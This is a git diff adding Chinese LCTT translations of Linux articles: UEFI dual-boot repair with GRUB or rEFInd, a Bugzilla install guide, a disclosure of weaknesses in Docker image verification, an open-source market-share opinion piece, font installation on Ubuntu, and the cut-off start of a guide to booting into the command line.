g:\EFI +6. 当你输入 dir 列出文件夹内容时,你可以看到一个Ubuntu的文件夹 +7. 这里的参数可以是grubx64.efi或者shimx64.efi +8. 运行下列命令将grub64.efi设置为启动引导程序: +bcdedit /set {bootmgr} path \EFI\ubuntu\grubx64.efi +9. 重启你的电脑 +10. 你将会看到一个包含Ubuntu和Windows选项的GRUB菜单 +11. 如果你的电脑仍然直接启动到Windows,重复步骤1到7,但是这次输入: +bcdedit /set {bootmgr} path \EFI\ubuntu\shimx64.efi +12. 重启你的电脑 + +这里你做的事情就是登录Windows管理员命令行,将EFI引导区映射到磁盘上,来查看Ubuntu的引导程序是否安装成功,然后选择grubx64.efi或者shimx64.efi作为引导程序。 + +那么[grubx64.efi和shimx64.efi有什么区别呢][4]?在安全启动(serureboot)关闭的情况下,你可以使用grubx64.efi。如果安全启动打开则需要选择shimx64.efi。 + +在我上面的步骤里面,我建议先试一个,然后再试试另外一个。另外一种方法是选择一个,然后根据你选择的引导程序在BIOS中启用或者禁用安全启动。 + +### 2.使用rEFInd引导Ubuntu和Windows双系统 ### + +![](http://f.tqn.com/y/linux/1/L/F/J/1/refind.png) + +[rEFInd引导程序][5]会以图标的方式列出你所有的操作系统。因此,你可以通过点击相应的图标来启动Windows、Ubuntu或者优盘中的操作系统。 + +[点击这里][6]下载rEFInd for Windows 8。 + +下载和解压以后,按照以下的步骤安装rEFInd。 + +1. 返回桌面 +2. 右击开始按钮,选择管理员命令行 +3. 输入 mountvol g: /s (这将你的EFI目录结构映射到G盘) +4. 进入解压的rEFInd目录。例如: +cd c:\users\gary\downloads\refind-bin-0.8.4\refind-bin-0.8.4 。 +当你输入 dir 命令,你可以看到一个refind目录 +5. 输入如下命令将refind拷贝到EFI引导区 +xcopy /E refind g:\EFI\refind\ +6. 输入如下命令进入refind文件夹 +cd g:\EFI\refind +7. 重命名示例配置文件 +rename refind.conf-sample refind.conf +8. 运行如下命令将rEFind设置为引导程序 +bcdedit /set {bootmgr} path \EFI\refind\refind_x64.efi +9. 重启你的电脑 +10. 你将会看到一个包含Ubuntu和Windows的图形菜单 + +这个过程和选择GRUB引导程序十分相似。 + +简单的说,主要是下载rEFind,解压文件。拷贝文件到EFI引导区,重命名配置文件,然后将rEFind设置为引导程序。 + +### 概要 ### + +希望这篇文章可以解决有些人在安装Ubuntu和Windows 8.1双系统时出现的问题。如果你仍然有问题,可以通过上面的电邮和我进行交流。 + +--- +via: http://linux.about.com/od/LinuxNewbieDesktopGuide/tp/3-Ways-To-Fix-The-UEFI-Bootloader-When-Dual-Booting-Windows-And-Ubuntu.htm + + +作者:[Gary Newell][a] +译者:[zhouj-sh](https://github.com/zhouj-sh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://linux.cn/article-3178-1.html +[2]:http://linux.cn/article-3178-1.html#4_3289 +[3]:http://linux.cn/article-3178-1.html#4_1717 +[4]:https://wiki.ubuntu.com/SecurityTeam/SecureBoot +[5]:http://www.rodsbooks.com/refind/installing.html#windows +[6]:http://sourceforge.net/projects/refind/files/0.8.4/refind-bin-0.8.4.zip/download \ No newline at end of file diff --git a/published/201501/20141229 How to Install Bugzilla 4.4 on Ubuntu or CentOS 6.x.md b/published/201501/20141229 How to Install Bugzilla 4.4 on Ubuntu or CentOS 6.x.md new file mode 100644 index 0000000000..18a8d67678 --- /dev/null +++ b/published/201501/20141229 How to Install Bugzilla 4.4 on Ubuntu or CentOS 6.x.md @@ -0,0 +1,200 @@ +如何在Ubuntu / CentOS 6.x上安装Bugzilla 4.4 +================================================================================ +这里,我们将展示如何在一台Ubuntu 14.04或CentOS 6.5/7上安装Bugzilla。Bugzilla是一款基于web,用来记录跟踪缺陷数据库的bug跟踪软件,它同时是一款免费及开源软件(FOSS),它的bug跟踪系统允许个人和开发团体有效地记录下他们产品的一些突出问题。尽管是"免费"的,Bugzilla依然有很多其它同类产品所没有的“珍贵”特性。因此,Bugzilla很快就变成了全球范围内数以千计的组织最喜欢的bug管理工具。 + +Bugzilla对于不同使用场景的适应能力非常强。如今它们应用在各个不同的IT领域,如系统管理中的部署管理、芯片设计及部署的问题跟踪(制造前期和后期),还有为那些诸如Redhat,NASA,Linux-Mandrake和VA Systems这些著名公司提供软硬件bug跟踪。 + +### 1. 安装依赖程序 ### + +安装Bugzilla相当**简单**。这篇文章特别针对Ubuntu 14.04和CentOS 6.5两个版本(不过也适用于更老的版本)。 + +为了获取并能在Ubuntu或CentOS系统中运行Bugzilla,我们要安装Apache网络服务器(启用SSL),MySQL数据库服务器和一些需要来安装并配置Bugzilla的工具。 + +要在你的服务器上安装使用Bugzilla,你需要安装好以下程序: + +- Perl(5.8.1 或以上) +- MySQL +- Apache2 +- Bugzilla +- Perl模块 +- 使用apache的Bugzilla + +正如我们所提到的本文会阐述Ubuntu 14.04和CentOS 6.5/7两种发行版的安装过程,为此我们会分成两部分来表示。 + +以下就是在你的Ubuntu 14.04 LTS和CentOS 7机器安装Bugzilla的步骤: + +**准备所需的依赖包:** + +你需要运行以下命令来安装些必要的包: + +**Ubuntu版本:** + + $ sudo apt-get install apache2 mysql-server libapache2-mod-perl2 libapache2-mod-perl2-dev libapache2-mod-perl2-doc perl postfix make gcc g++ + +**CentOS版本:** + + $ sudo yum install httpd mod_ssl mysql-server mysql php-mysql gcc perl* mod_perl-devel + +**注意:请在shell或者终端下运行所有的命令并且确保你用root用户(sudo)操作机器。** + +### 2. 启动Apache服务 ### + +你已经按照以上步骤安装好了apache服务,那么我们现在需要配置apache服务并运行它。我们需要用sodo或root来敲命令去完成它,我们先切换到root连接。 + + $ sudo -s + +我们需要在防火墙中打开80端口并保存改动。 + + # iptables -I INPUT -p tcp --dport 80 -j ACCEPT + # service iptables save + +现在,我们需要启动服务: + +CentOS版本: + + # service httpd start + +我们来确保Apache会在每次你重启机器的时候一并启动起来: + + # /sbin/chkconfig httpd on + +Ubuntu版本: + + # service apache2 start + +现在,由于我们已经启动了我们apache的http服务,我们就能在默认的127.0.0.1地址下打开apache服务了。 + +### 3. 配置MySQL服务器 ### + +现在我们需要启动我们的MySQL服务: + +CentOS版本: + + # chkconfig mysqld on + # service start mysqld + +Ubuntu版本: + + # service mysql-server start + +![mysql](http://blog.linoxide.com/wp-content/uploads/2014/12/mysql.png) + +用root用户登录连接MySQL并给Bugzilla创建一个数据库,把你的mysql密码更改成你想要的,稍后配置Bugzilla的时候会用到它。 + +CentOS 6.5和Ubuntu 14.04 Trusty两个版本: + + # mysql -u root -p + + # password: (You'll need to enter your password) + + # mysql > create database bugs; + + # mysql > grant all on bugs.* to root@localhost identified by "mypassword"; + + #mysql > quit + +**注意:请记住数据库名和mysql的密码,我们稍后会用到它们。** + +### 4. 安装并配置Bugzilla ### + +现在,我们所有需要的包已经设置完毕并运行起来了,我们就要配置我们的Bugzilla。 + +那么,首先我们要下载最新版的Bugzilla包,这里我下载的是4.5.2版本。 + +使用wget工具在shell或终端上下载: + + wget http://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-4.5.2.tar.gz + +你也可以从官方网站进行下载。[http://www.bugzilla.org/download/][1] + +**从下载下来的bugzilla压缩包中提取文件并重命名:** + + # tar zxvf bugzilla-4.5.2.tar.gz -C /var/www/html/ + + # cd /var/www/html/ + + # mv -v bugzilla-4.5.2 bugzilla + + +**注意**:这里,**/var/www/html/bugzilla/**就是**Bugzilla主目录**. + +现在,我们来配置buzilla: + + # cd /var/www/html/bugzilla/ + +# ./checksetup.pl --check-modules + +![bugzilla-check-module](http://blog.linoxide.com/wp-content/uploads/2014/12/bugzilla2-300x198.png) + +检查完成之后,我们会发现缺少了一些组件,我们需要安装它们,用以下命令即可实现: + + # cd /var/www/html/bugzilla + # perl install-module.pl --all + +这一步会花掉一点时间去下载安装所有依赖程序,然后再次运行**checksetup.pl --check-modules**命令来验证有没有漏装什么。 + +现在我们需要运行以下这条命令,它会在/var/www/html/bugzilla路径下自动生成一个名为localconfig的文件。 + + # ./checksetup.pl + +确认一下你刚才在localconfig文件中所输入的数据库名、用户和密码是否正确。 + + # nano ./localconfig + + # checksetup.pl + +![bugzilla-success](http://blog.linoxide.com/wp-content/uploads/2014/12/bugzilla-success.png) + +如果一切正常,checksetup.pl现在应该就成功地配置Bugzilla了。 + +现在我们需要添加Bugzilla至我们的Apache配置文件中。那么,我们需要用文本编辑器打开 /etc/httpd/conf/httpd.conf 文件(CentOS版本)或者 /etc/apache2/apache2.conf 文件(Ubuntu版本): + +CentOS版本: + + # nano /etc/httpd/conf/httpd.conf + +Ubuntu版本: + + # nano etc/apache2/apache2.conf + +现在,我们需要配置Apache服务器,我们要把以下配置添加到配置文件里: + + + DocumentRoot /var/www/html/bugzilla/ + + + + AddHandler cgi-script .cgi + Options +Indexes +ExecCGI + DirectoryIndex index.cgi + AllowOverride Limit FileInfo Indexes + + +接着,我们需要编辑 .htaccess 文件并用“#”注释掉顶部“Options -Indexes”这一行。 + +让我们重启我们的apache服务并测试下我们的安装情况。 + +CentOS版本: + + # service httpd restart + +Ubuntu版本: + + # service apache2 restart + +![bugzilla-install-success](http://blog.linoxide.com/wp-content/uploads/2014/12/bugzilla_apache.png) + +这样,我们的Bugzilla就准备好在我们的Ubuntu 14.04 LTS和CentOS 6.5上获取bug报告了,你就可以通过本地回环地址或你网页浏览器上的IP地址来浏览bugzilla了。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/tools/install-bugzilla-ubuntu-centos/ + +作者:[Arun Pyasi][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://www.bugzilla.org/download/ diff --git a/published/201501/20150104 Docker Image Insecurity.md b/published/201501/20150104 Docker Image Insecurity.md new file mode 100644 index 0000000000..712096bf78 --- /dev/null +++ b/published/201501/20150104 Docker Image Insecurity.md @@ -0,0 +1,135 @@ +Docker的镜像并不安全! +================================================================================ +最近使用Docker下载“官方”容器镜像的时候,我发现这样一句话: + + ubuntu:14.04: The image you are pulling has been verified (您所拉取的镜像已经经过验证) + +起初我以为这条信息引自Docker[大力推广][1]的镜像签名系统,因此也就没有继续跟进。后来,研究加密摘要系统的时候——Docker用这套系统来对镜像进行安全加固——我才有机会更深入的发现,逻辑上整个与镜像安全相关的部分具有一系列系统性问题。 + +Docker所报告的,一个已下载的镜像经过“验证”,它基于的仅仅是一个标记清单(signed manifest),而Docker却从未据此清单对镜像的校验和进行验证。一名攻击者以此可以提供任意所谓具有标记清单的镜像。一系列严重漏洞的大门就此敞开。 + +镜像经由HTTPS服务器下载后,通过一个未加密的管道流进入Docker守护进程: + + [decompress] -> [tarsum] -> [unpack] + +这条管道的性能没有问题,但是却完全没有经过加密。不可信的输入在签名验证之前是不应当进入管道的。不幸的是,Docker在上面处理镜像的三个步骤中,都没有对校验和进行验证。 + +然而,不论Docker如何[声明][2],实际上镜像的校验和(Checksum)从未经过校验。下面是Docker与镜像校验和的验证相关的代码[片段][3],即使我提交了校验和不匹配的镜像,都无法触发警告信息。 + + if img.Checksum != "" && img.Checksum != checksum { + log.Warnf("image layer checksum mismatch: computed %q, + expected %q", checksum, img.Checksum) + } + +### 不安全的处理管道 ### + +**解压缩** + +Docker支持三种压缩算法:gzip、bzip2和xz。前两种使用Go的标准库实现,是[内存安全(memory-safe)][4]的,因此这里我预计的攻击类型应该是拒绝服务类的攻击,包括CPU和内存使用上的当机或过载等等。 + +第三种压缩算法,xz,比较有意思。因为没有现成的Go实现,Docker 通过[执行(exec)][5]`xz`二进制命令来实现解压缩。 + +xz二进制程序来自于[XZ Utils][6]项目,由[大概][7]2万行C代码生成而来。而C语言不是一门内存安全的语言。这意味着C程序的恶意输入,在这里也就是Docker镜像的XZ Utils解包程序,潜在地存在可能会执行任意代码的风险。 + +Docker以root权限*运行* `xz` 命令,更加恶化了这一潜在威胁。这意味着如果在`xz`中出现了一个漏洞,对`docker pull`命令的调用就会导致用户整个系统的完全沦陷。 + +**Tarsum** + +对tarsum的使用,其出发点是好的,但却是最大的败笔。为了得到任意一个加密tar文件的准确校验和,Docker先对tar文件进行解密,然后求出特定部分的哈希值,同时排除剩余的部分,而这些步骤的[顺序都是固定的][8]。 + +由于其生成校验和的步骤固定,它解码不可信数据的过程就有可能被设计成[攻破tarsum的代码][9]。这里潜在的攻击既包括拒绝服务攻击,还有逻辑上的漏洞攻击,可能导致文件被感染、忽略、进程被篡改、植入等等,这一切攻击的同时,校验和可能都是不变的。 + +**解包** + +解包的过程包括tar解码和生成硬盘上的文件。这一过程尤其危险,因为在解包写入硬盘的过程中有另外三个[已报告的漏洞][10]。 + +任何情形下未经验证的数据都不应当解包后直接写入硬盘。 + +### libtrust ### + +Docker的工具包[libtrust][11],号称“通过一个分布式的信任图表进行认证和访问控制”。很不幸,对此官方没有任何具体的说明,看起来它好像是实现了一些[javascript对象标记和加密][12]规格以及其他一些未说明的算法。 + +使用libtrust下载一个清单经过签名和认证的镜像,就可以触发下面这条不准确的信息(说不准确,是因为事实上它验证的只是清单,并非真正的镜像): + + ubuntu:14.04: The image you are pulling has been verified(您所拉取的镜像已经经过验证) + +目前只有Docker公司“官方”发布的镜像清单使用了这套签名系统,但是上次我参加Docker[管理咨询委员会][13]的会议讨论时,我所理解的是,Docker公司正计划在未来扩大部署这套系统。他们的目标是以Docker公司为中心,控制一个认证授权机构,对镜像进行签名和(或)客户认证。 + +我试图从Docker的代码中找到签名秘钥,但是没找到。好像它并不像我们所期望的把密钥嵌在二进制代码中,而是在每次镜像下载前,由Docker守护进程[通过HTTPS从CDN][14]远程获取。这是一个多么糟糕的方案,有无数种攻击手段可能会将可信密钥替换成恶意密钥。这些攻击包括但不限于:CDN供应商出问题、CDN初始密钥出现问题、客户端下载时的中间人攻击等等。 + +### 补救 ### + +研究结束前,我[报告][15]了一些在tarsum系统中发现的问题,但是截至目前我报告的这些问题仍然没有修复。 + +要改进Docker镜像下载系统的安全问题,我认为应当有以下措施: + +**摒弃tarsum并且真正对镜像本身进行验证** + +出于安全原因tarsum应当被摒弃,同时,镜像在完整下载后、其他步骤开始前,就对镜像的加密签名进行验证。 + +**添加权限隔离** + +镜像的处理过程中涉及到解压缩或解包的步骤必须在隔离的进程(容器?)中进行,即只给予其操作所需的最小权限。任何场景下都不应当使用root运行`xz`这样的解压缩工具。 + +**替换 libtrust** + +应当用[更新框架(The Update Framework)][16]替换掉libtrust,这是专门设计用来解决软件二进制签名此类实际问题的。其威胁模型非常全方位,能够解决libtrust中未曾考虑到的诸多问题,目前已经有了完整的说明文档。除了已有的Python实现,我已经开始着手用[Go语言实现][17]的工作,也欢迎大家的贡献。 + +作为将更新框架加入Docker的一部分,还应当加入一个本地密钥存储池,将root密钥与registry的地址进行映射,这样用户就可以拥有他们自己的签名密钥,而不必使用Docker公司的了。 + +我注意到使用非Docker公司官方的第三方仓库往往会是一种非常糟糕的用户体验。Docker也会将第三方的仓库内容降为二等地位来看待,即使不因为技术上的原因。这个问题不仅仅是生态问题,还是一个终端用户的安全问题。针对第三方仓库的全方位、去中心化的安全模型既必须又迫切。我希望Docker公司在重新设计他们的安全模型和镜像认证系统时能采纳这一点。 + +### 结论 ### + +Docker用户应当意识到负责下载镜像的代码是非常不安全的。用户们应当只下载那些出处没有问题的镜像。目前,这里的“没有问题”并**不**包括Docker公司的“可信(trusted)”镜像,例如官方的Ubuntu和其他基础镜像。 + +最好的选择就是在本地屏蔽 `index.docker.io`,然后使用`docker load`命令在导入Docker之前手动下载镜像并对其进行验证。Red Hat的安全博客有一篇[很好的文章][18],大家可以看看。 + +感谢Lewis Marshall指出tarsum从未真正验证。 + +参考 + +- [校验和的代码][19] +- [cloc][20]介绍了18141行没有空格没有注释的C代码,以及5900行的header代码,版本号为v5.2.0。 +- [Android中也发现了][21]类似的bug,能够感染已签名包中的任意文件。同样出现问题的还有[Windows的Authenticode][22]认证系统,二进制文件会被篡改。 +- 特别的:[CVE-2014-6407][23]、 [CVE-2014-9356][24]以及 [CVE-2014-9357][25]。目前已有两个Docker[安全发布][26]有了回应。 +- 参见[2014-10-28 DGAB会议记录][27]的第8页。 + +-------------------------------------------------------------------------------- + +via: https://titanous.com/posts/docker-insecurity + +作者:[titanous][a] +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://twitter.com/titanous +[1]:https://blog.docker.com/2014/10/docker-1-3-signed-images-process-injection-security-options-mac-shared-directories/ +[2]:https://blog.docker.com/2014/10/docker-1-3-signed-images-process-injection-security-options-mac-shared-directories/ +[3]:https://titanous.com/posts/docker-insecurity#fn:0 +[4]:https://en.wikipedia.org/wiki/Memory_safety +[5]:https://github.com/docker/docker/blob/0874f9ab77a7957633cd835241a76ee4406196d8/pkg/archive/archive.go#L91-L95 +[6]:http://tukaani.org/xz/ +[7]:https://titanous.com/posts/docker-insecurity#fn:1 +[8]:https://github.com/docker/docker/blob/0874f9ab77a7957633cd835241a76ee4406196d8/pkg/tarsum/tarsum_spec.md +[9]:https://titanous.com/posts/docker-insecurity#fn:2 +[10]:https://titanous.com/posts/docker-insecurity#fn:3 +[11]:https://github.com/docker/libtrust +[12]:https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-11 +[13]:https://titanous.com/posts/docker-insecurity#fn:4 +[14]:https://github.com/docker/docker/blob/0874f9ab77a7957633cd835241a76ee4406196d8/trust/trusts.go#L38 +[15]:https://github.com/docker/docker/issues/9719 +[16]:http://theupdateframework.com/ +[17]:https://github.com/flynn/go-tuf +[18]:https://securityblog.redhat.com/2014/12/18/before-you-initiate-a-docker-pull/ +[19]:https://github.com/docker/docker/blob/0874f9ab77a7957633cd835241a76ee4406196d8/image/image.go#L114-L116 +[20]:http://cloc.sourceforge.net/ +[21]:http://www.saurik.com/id/17 +[22]:http://blogs.technet.com/b/srd/archive/2013/12/10/ms13-098-update-to-enhance-the-security-of-authenticode.aspx +[23]:https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6407 +[24]:https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9356 +[25]:https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9357 +[26]:https://groups.google.com/d/topic/docker-user/nFAz-B-n4Bw/discussion +[27]:https://docs.google.com/document/d/1JfWNzfwptsMgSx82QyWH_Aj0DRKyZKxYQ1aursxNorg/edit?pli=1 \ No newline at end of file diff --git a/published/201501/20150106 2015--Open Source Has Won, But It Isn't Finished.md b/published/201501/20150106 2015--Open Source Has Won, But It Isn't Finished.md new file mode 100644 index 0000000000..fd8be296cf --- /dev/null +++ b/published/201501/20150106 2015--Open Source Has Won, But It Isn't Finished.md @@ -0,0 +1,47 @@ +2015:开源已经完胜,但这并不是结束 +================================================================================ +> 在 2014 年的完胜后,接下来会如何? + +新年伊始,习惯上都是回顾已经走过的一年。但只要一直关注我们,就会很容易获得过去一年的总结:开源已经全胜。让我们从头开始说起吧: + +**超级计算机**: Linux 在超级计算机系统 500 强的名单上占据绝对的主导地位这本身就令其它操作系统很尴尬。[2014年11月的数据][1]显示前500系统中的485个系统都在运行着 Linux 的发布系统,而仅仅只有一台运行着 Windows 系统。如果您看看所用的处理器数量,这数据更是让人惊叹。截止到目前,运行 Linux 系统的处理器有 22,851,693 个之多,而 windows 系统仅仅只有 30,720。这意味着什么?Linux 不仅仅是占据主导地位,在大型系统中已经是绝对的霸主了。 + +**云计算**: 去年, Linux 基金会撰写了一个有趣的[报告][2],是关于大公司在云端使用 Linux 的情况的。它发现 75% 的大公司在使用 Linux 系统作为他们的主要平台,相对的使用 Windows 系统的只占 23%。因为需要考虑云端和非云端的因素,它们已经混淆在一起了,所以很难把这比例对应到真实的市场份额里。但是,鉴于当前云计算的流行度,可以很确定的说明 Linux 使用的高速增长。事实上,同样的调查发现,在云端的 Linux 部署率已经从 45% 增长到 79%,而对于 Windows 来说已经从 45% 下降到 36%。当然了,某些人可能认为 Linux 基金会在这块上并不是完全公正无私的,但即使是有私心或是因统计的不确定性而有失公允,事情也正朝着预料的正确方向迈进。 + +**Web 服务器**: 开源已经统治这个行业近20年 - 取得了一份很惊人的成绩。然而,最近在市场份额上出现了一些有趣的变动:一点就是,在 Web 服务器的总计数上,微软的 IIS 服务已经超越了 Apache 服务。但正如 Netcraft 公司其最近的[分析][3]解释所说的那样,这儿还有很多令人大饱眼福的地方呢: + +> 这是网站总数持续大幅回落以来的第二个月,从一月份以来,本月达到了最低点。与十一月份情况一样,损失的仅仅只是集中在一小部分的主机提供商中,只占了5200万主机名数的十大点。这点损失相比于激活的站点和网站来说不是一个数据级的,所以造不成什么影响,但激活的这些站点大部分都是广告类的链接页面池,基本上没有原创的内容。大多数这些站点都是运行在微软的 IIS 服务器上的,所以在2014年7月份的调查中 IIS 的使用数就超过了 Apache。然而,近期跌势已导致其市场份额下降到 29.8%,现在已经低于Apache 10个百分点了。 + +这表明,微软的所谓“激增”更多的是表象,而事实并非如此,它的大多数增加都是基于没什么有用内容的链接页面池。事实上,Netcraft公司的关于活动网站的数据给我们描绘了一幅完全不同的图表:Apache 拥有 50.57% 的市场份额,nginx 的是 14.73% 位居第二;微软的 IIS 很无力,占到了相当微弱的 11.72%。这意味着在活跃 Web 服务器市场上开源大约有65%的份额 - 虽然没有超级计算机那么高的水平,但也还不错。 + +**移动设备系统**. 目前,开源的大军主要是 Andriod 为基础在不断高歌猛进。最新数据表明,在2014年第三季度的智能手机出货量中,Andriod 设备的市场份额从去年同期的 81.4% 上升到了 [83.6%][4]。苹果的从去年同期的 13.4% 下降到 12.3%。对于平板电脑来说,Android 平板遵循同样的轨迹:在2014年第二季度,Android 平板的占有率达到[全球平板电脑的销量的75%][5]左右,而苹果的只有25%。 + +**嵌入式系统**: 虽然很难量化 Linux 在的重要的嵌入式系统市场的市场份额,但来一个自 2013 年的研究数字表明,[按规划,大约一半的嵌入式系统][6]将会采用 Linux。 + +**物联网**: 在很多方面上可以把它们简单的认为是嵌入式系统的另外一个化身,不同之处在于它们被设计为一直在线的。虽然现在谈论它的市场份额还有点为时过早,但如我在[讨论栏目][7]里说的,AllSeen 的物联网开源框架正进行的如火如荼。他们所缺少的也最引入注目的事情只是还没有任何可信任的闭源项目对手。因此,很有可能物联网将会通过开源的方式来达到 Linux 在超级计算机中的占有率这样的水平。 + +当然了,这个阶段的成功也带来了一些问题:我们将何去何从?鉴于开源将会使很多成功的行业达到饱和点,想必唯一的办法就是下跌吗?要回答这个问题,我建议浏览下 Christopher Kelty 于2013年写的一篇供同行参阅、发人深省的文章,有个耐人寻味的标题“[天下没有免费的软件][8]”。下面是他的开头段: + +> 自由软件并不存在。在我写了一整本书后,我莫名的忧伤。但这也是我写进文章的一个观点。自由软件和与它一体两面的开源正在不断的变化着。它并不是一直持续不变的,不稳定、不固定、不持久,这正是它的特色的一部分。 + +换句话说,无论2014年带给我们多少惊人的免费软件,我们也确信2015年会更多更丰富,因为进化是永无止境的。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworlduk.com/blogs/open-enterprise/open-source-has-won-3592314/ + +作者:[lyn Moody][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.computerworlduk.com/author/glyn-moody/ +[1]:http://www.top500.org/statistics/list/ +[2]:http://www.linuxfoundation.org/publications/linux-foundation/linux-end-user-trends-report-2014 +[3]:http://news.netcraft.com/archives/2014/12/18/december-2014-web-server-survey.html +[4]:http://www.cnet.com/news/android-stays-unbeatable-in-smartphone-market-for-now/ +[5]:http://timesofindia.indiatimes.com/tech/tech-news/Android-tablet-market-share-hits-70-in-Q2-iPads-slip-to-25-Survey/articleshow/38966512.cms +[6]:http://linuxgizmos.com/embedded-developers-prefer-linux-love-android/ +[7]:http://www.computerworlduk.com/blogs/open-enterprise/allseen-3591023/ +[8]:http://peerproduction.net/issues/issue-3-free-software-epistemics/debate/there-is-no-free-software/ diff --git a/published/201501/20150106 How To Install New Fonts In Ubuntu 14.04 and 14.10.md b/published/201501/20150106 How To Install New Fonts In Ubuntu 14.04 and 14.10.md new file mode 100644 index 0000000000..6838ea7df4 --- /dev/null +++ b/published/201501/20150106 How To Install New Fonts In Ubuntu 14.04 and 14.10.md @@ -0,0 +1,63 @@ +如何在Ubuntu 14.04 和14.10 上安装新的字体 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/fonts.jpg) + +Ubuntu默认自带了很多字体。但有时候你或许对这些字体还不满意。因此,你可以做的是在**Ubuntu 14.04、 14.10或者像Linux Mint之类的其它Linux系统中安装额外的字体**。 + +### 第一步: 获取字体 ### + +第一步也是最重要的一步,下载你选择的字体。现在你或许在考虑从哪里下载字体。不要担心,Google搜索可以给你提供几个免费的字体网站。你可以先去看看[ Lost Type 的字体][1]。[Squirrel][2]同样也是一个下载字体的好地方。 + +### 第二步:在Ubuntu中安装新字体 ### + +下载的字体文件可能是一个压缩包,先解压它。大多数字体文件的格式是[TTF][3] (TrueType字体) 或者[OTF][4] (OpenType字体)。无论是哪种,只要双击字体文件。它会自动用字体查看器打开。这里你可以在右上角看到安装选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Install_New_Fonts_Ubuntu.png) + +在安装字体时不会看到其他信息。几秒钟后,你会看到状态变成已安装。不用猜,字体已经安装完毕。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Install_New_Fonts_Ubuntu_1.png) + +安装完毕后,你就可以在GIMP、Pina等应用中看到你新安装的字体了。 + +### 第二步:在Linux上一次安装几个字体 ### + +我没有打错。这仍旧是第二步但是只是一个备选方案。我们上面看到的在Ubuntu中安装字体的方法是不错的。但是这有一个小问题。当你有20个新字体要安装时。一个个单独双击即繁琐又麻烦。你不这么认为么? + +要在Ubuntu中一次安装几个字体,你唯一要做的是在你的家目录下创建一个.fonts文件夹,如果它不存在的话。并把解压后的TTF和OTF文件复制到这个文件夹内。 + +在文件管理器中进入家目录。按下Ctrl+H [显示Ubuntu中的隐藏文件][5]。 右键创建一个文件夹并命名为.fonts。 这里的点很重要。在Linux中,在文件的前面加上点意味在普通的视图中都会隐藏。 + +#### 备选方案: #### + +另外你可以安装字体管理程序,在图形用户界面管理字体。要在Ubuntu中安装字体管理程序,打开终端并输入下面的命令: + + sudo apt-get install font-manager + + +从Unity Dash中打开字体管理器。在这里你可以看到已安装的字体和安装新字体、删除字体等选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Font_Manager_Ubuntu.jpeg) + +要卸载字体管理器,使用下面的命令: + + sudo apt-get remove font-manager + +我希望这篇文章可以帮助你在Ubuntu或其它Linux系统上安装字体。如果你有任何问题或建议请在下方评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-fonts-ubuntu-1404-1410/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://www.losttype.com/browse/ +[2]:http://www.fontsquirrel.com/ +[3]:http://en.wikipedia.org/wiki/TrueType +[4]:http://en.wikipedia.org/wiki/OpenType +[5]:http://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ diff --git a/published/201501/20150121 Linux FAQs with Answers--How to boot into command line on Ubuntu or Debian.md b/published/201501/20150121 Linux FAQs with Answers--How to boot into command line on Ubuntu or Debian.md new file mode 100644 index 0000000000..93bca3583c --- /dev/null +++ b/published/201501/20150121 Linux FAQs with Answers--How to boot into command line on Ubuntu or Debian.md @@ -0,0 +1,64 @@ +Linux 有问必答:如何在Ubuntu或者Debian中启动后进入命令行 +================================================================================ +> **提问**:我运行的是Ubuntu桌面,但是我希望启动后临时进入命令行。有什么简便的方法可以启动进入终端? + +Linux桌面自带了一个显示管理器(比如:GDM、KDM、LightDM),它们可以让计算机启动自动进入一个基于GUI的登录环境。然而,如果你要直接启动进入终端怎么办? 比如,你在排查桌面相关的问题或者想要运行一个不需要GUI的应用程序。 + +注意虽然你可以通过按下Ctrl+Alt+F1到F6临时从桌面GUI切换到虚拟终端。然而,在这种情况下你的桌面GUI仍在后台运行,这不同于纯文本模式启动。 + +在Ubuntu或者Debian桌面中,你可以通过传递合适的内核参数在启动时启动文本模式。 + +### 启动临时进入命令行 ### + +如果你想要禁止桌面GUI并临时进入一次文本模式,你可以使用GRUB菜单。 + +首先,打开你的电脑。当你看到初始的GRUB菜单时,按下‘e’。 + +![](https://farm8.staticflickr.com/7490/16112246542_bc1875a397_z.jpg) + +接着会进入下一屏,这里你可以修改内核启动选项。向下滚动到以“linux”开始的行,这里就是内核参数的列表。删除参数列表中的“quiet”和“splash”。在参数列表中添加“text”。 + +![](https://farm8.staticflickr.com/7471/15493282603_8a70f70af2_z.jpg) + +升级的内核选项列表看上去像这样。按下Ctrl+x继续启动。这会以详细模式启动控制台一次(LCTT译注:由于没有保存修改,所以下次重启还会进入 GUI)。 + +![](https://farm8.staticflickr.com/7570/15925676530_b11af59243_z.jpg) + +### 